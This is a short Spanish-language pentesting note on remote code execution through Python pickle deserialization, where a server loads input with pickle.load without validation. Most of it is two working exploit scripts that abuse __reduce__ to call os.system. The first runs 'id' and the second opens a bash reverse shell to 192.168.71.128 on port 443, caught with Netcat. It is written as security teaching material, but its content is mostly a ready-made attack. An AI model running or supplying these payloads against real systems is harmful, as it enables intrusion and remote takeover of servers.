> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/deserialization-pickle-attack/des-pickle-rce-pentesting-web.md).
# RCE por deserialización de Pickle
Así es como se presenta el código. Como se muestra, está **cargado** por `pickle.load` sin ninguna validación.
El script a continuación nos permite ejecutar el **id** comando y hacer que el servidor lo interprete en **hexadecimal**:
```python
import pickle
import os
import binascii
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
if __name__ == '__main__':
print(binascii.hexlify(pickle.dumps(Exploit())))
```
* nosotros los pegamos y devuelve un **código de estado exitoso** (0):
Entonces nosotros **modificamos el script** para ejecutar un **shell inversa**:
```python
import pickle
import os
import binascii
class Exploit(object):
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/192.168.71.128/443 0>&1"',))
if __name__ == '__main__':
print(binascii.hexlify(pickle.dumps(Exploit())))
```
Escuchamos con **Netcat** y obtener acceso:
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